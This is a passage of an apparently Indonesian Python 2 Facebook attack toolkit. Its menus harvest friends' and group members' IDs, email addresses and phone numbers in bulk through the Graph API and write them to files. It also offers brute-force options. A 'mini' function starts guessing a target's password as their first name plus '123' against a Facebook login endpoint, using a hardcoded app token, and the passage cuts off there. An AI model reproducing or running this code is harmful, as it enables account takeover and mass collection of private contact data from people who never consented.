print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mNot found'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mNot found'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTelephone\x1b[1;97m : ' + z['mobile_phone']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mTelephone\x1b[1;97m : \x1b[1;91mNot found'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLocation\x1b[1;97m : ' + z['location']['name']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mLocation\x1b[1;97m : \x1b[1;91mNot found'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mDate of birth\x1b[1;97m : ' + z['birthday']
except KeyError:
print '\x1b[1;91m[?] \x1b[1;92mDate of birth\x1b[1;97m : \x1b[1;91mNot found'
try:
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSchool\x1b[1;97m : '
for q in z['education']:
try:
print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name']
continue
except KeyError:
print '\x1b[1;91m ~ \x1b[1;91mNot found'
continue
except KeyError:
pass
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu()
continue
print '\x1b[1;91m[\xe2\x9c\x96] User not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu()
return None
def dump():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Get ID friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Get ID friend from friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Get ID Search'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m Get group member ID'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Get group member email'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6.\x1b[1;97m Get group member phone number'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m7.\x1b[1;97m Get email friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m8.\x1b[1;97m Get email friend from friend'
print "\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m9.\x1b[1;97m Get a friend's phone number"
print "\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m10.\x1b[1;97m Get a friend's phone number from friend"
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
dump_pilih()
def dump_pilih():
cuih = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if cuih == '':
print '\x1b[1;91m[!] Wrong input'
dump_pilih()
elif cuih == '1':
id_teman()
elif cuih == '2':
idfrom_teman()
elif cuih == '3':
os.system('reset')
print '\x1b[1;91mSegera'
keluar()
elif cuih == '4':
id_member_grup()
elif cuih == '5':
em_member_grup()
elif cuih == '6':
no_member_grup()
elif cuih == '7':
email()
elif cuih == '8':
emailfrom_teman()
elif cuih == '9':
nomor_hp()
elif cuih == '10':
hpfrom_teman()
elif cuih == '0':
menu()
else:
print '\x1b[1;91m[!] Wrong input'
dump_pilih()
def id_teman():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
z = json.loads(r.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend id \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/id_teman.txt', 'w')
for a in z['data']:
idteman.append(a['id'])
bz.write(a['id'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(idteman)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + a['id'],
sys.stdout.flush()
time.sleep(0.0001)
bz.close()
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get id \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m%s' % len(idteman)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/id_teman.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def idfrom_teman():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Friend not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket)
z = json.loads(r.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend id from friend \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/id_teman_from_teman.txt', 'w')
for a in z['friends']['data']:
idfromteman.append(a['id'])
bz.write(a['id'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(idfromteman)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + a['id'],
sys.stdout.flush()
time.sleep(0.0001)
bz.close()
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get id \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m%s' % len(idfromteman)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/id_teman_from_teman.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def id_member_grup():
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
id = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member id \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/member_grup.txt', 'w')
re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&limit=999999999&access_token=' + toket)
s = json.loads(re.text)
for a in s['data']:
idmem.append(a['id'])
bz.write(a['id'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(idmem)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + a['id'],
sys.stdout.flush()
time.sleep(0.0001)
bz.close()
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get id \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m%s' % len(idmem)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/member_grup.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def em_member_grup():
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
id = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member email \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/em_member_grup.txt', 'w')
re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&limit=999999999&access_token=' + toket)
s = json.loads(re.text)
for a in s['data']:
x = requests.get('https://graph.facebook.com/' + a['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
emmem.append(z['email'])
bz.write(z['email'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(emmem)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + z['email'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.0001)
continue
except KeyError:
continue
bz.close()
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get email from member group \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal Email \x1b[1;91m: \x1b[1;97m%s' % len(emmem)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/em_member_grup.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def no_member_grup():
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
id = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member phone number \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/no_member_grup.txt', 'w')
re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&limit=999999999&access_token=' + toket)
s = json.loads(re.text)
for a in s['data']:
x = requests.get('https://graph.facebook.com/' + a['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
nomem.append(z['mobile_phone'])
bz.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(nomem)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + z['mobile_phone'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.0001)
continue
except KeyError:
continue
bz.close()
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get phone number from member group \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal Number \x1b[1;91m: \x1b[1;97m%s' % len(nomem)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/no_member_grup.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def email():
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
a = json.loads(r.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend email \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/email_teman.txt', 'w')
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
em.append(z['email'])
bz.write(z['email'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(em)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + z['email'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.0001)
continue
except KeyError:
continue
bz.close()
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get email \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal Email \x1b[1;91m: \x1b[1;97m%s' % len(em)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/email_teman.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def emailfrom_teman():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Friend not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend email from friend \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/em_teman_from_teman.txt', 'w')
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
emfromteman.append(z['email'])
bz.write(z['email'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(emfromteman)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + z['email'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.0001)
continue
except KeyError:
continue
bz.close()
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get email \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal Email \x1b[1;91m: \x1b[1;97m%s' % len(emfromteman)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/em_teman_from_teman.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def nomor_hp():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend number phone \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
url = 'https://graph.facebook.com/me/friends?access_token=' + toket
r = requests.get(url)
z = json.loads(r.text)
bz = open('out/nomer_teman.txt', 'w')
for n in z['data']:
x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
hp.append(z['mobile_phone'])
bz.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(hp)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + z['mobile_phone'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.0001)
continue
except KeyError:
continue
bz.close()
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get number \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal Number \x1b[1;91m: \x1b[1;97m%s' % len(hp)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/nomer_teman.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def hpfrom_teman():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
try:
os.system('reset')
print logo
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Friend not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend number from friend \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
bz = open('out/no_teman_from_teman.txt', 'w')
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
hpfromteman.append(z['mobile_phone'])
bz.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;97m[ \x1b[1;92m' + str(len(hpfromteman)) + '\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97m' + z['mobile_phone'] + ' | ' + z['name'] + '\n',
sys.stdout.flush()
time.sleep(0.0001)
continue
except KeyError:
continue
bz.close()
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get number \x1b[1;97m....'
print '\r\x1b[1;91m[+] \x1b[1;92mTotal Number \x1b[1;91m: \x1b[1;97m%s' % len(hpfromteman)
done = raw_input('\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m ')
os.rename('out/no_teman_from_teman.txt', 'out/' + done)
print '\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/' + done
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except IOError:
print '\x1b[1;91m[!] Error creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except KeyError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
dump()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def menu_hack():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Multi Bruteforce Facebook'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Super Multi Bruteforce Facebook'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m BruteForce(\x1b[1;92mTarget\x1b[1;97m)'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Yahoo Checker'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
hack_pilih()
def hack_pilih():
hack = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if hack == '':
print '\x1b[1;91m[!] Wrong input'
hack_pilih()
elif hack == '1':
mini()
elif hack == '2':
crack()
hasil()
elif hack == '3':
super()
elif hack == '4':
brute()
elif hack == '5':
menu_yahoo()
elif hack == '0':
menu()
else:
print '\x1b[1;91m[!] Wrong input'
hack_pilih()
def mini():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m[\x1b[1;91mINFO\x1b[1;97m] \x1b[1;91mThe target account must be friends\n with your account first!'
print 42 * '\x1b[1;97m\xe2\x95\x90'
try:
id = raw_input('\x1b[1;91m[+] \x1b[1;92mTarget ID \x1b[1;91m:\x1b[1;97m ')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
a = json.loads(r.text)
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + a['name']
jalan('\x1b[1;91m[+] \x1b[1;92mCheck \x1b[1;97m...')
time.sleep(2)
jalan('\x1b[1;91m[+] \x1b[1;92mOpen password \x1b[1;97m...')
time.sleep(2)
print 42 * '\x1b[1;97m\xe2\x95\x90'
pz1 = a['first_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mFound'
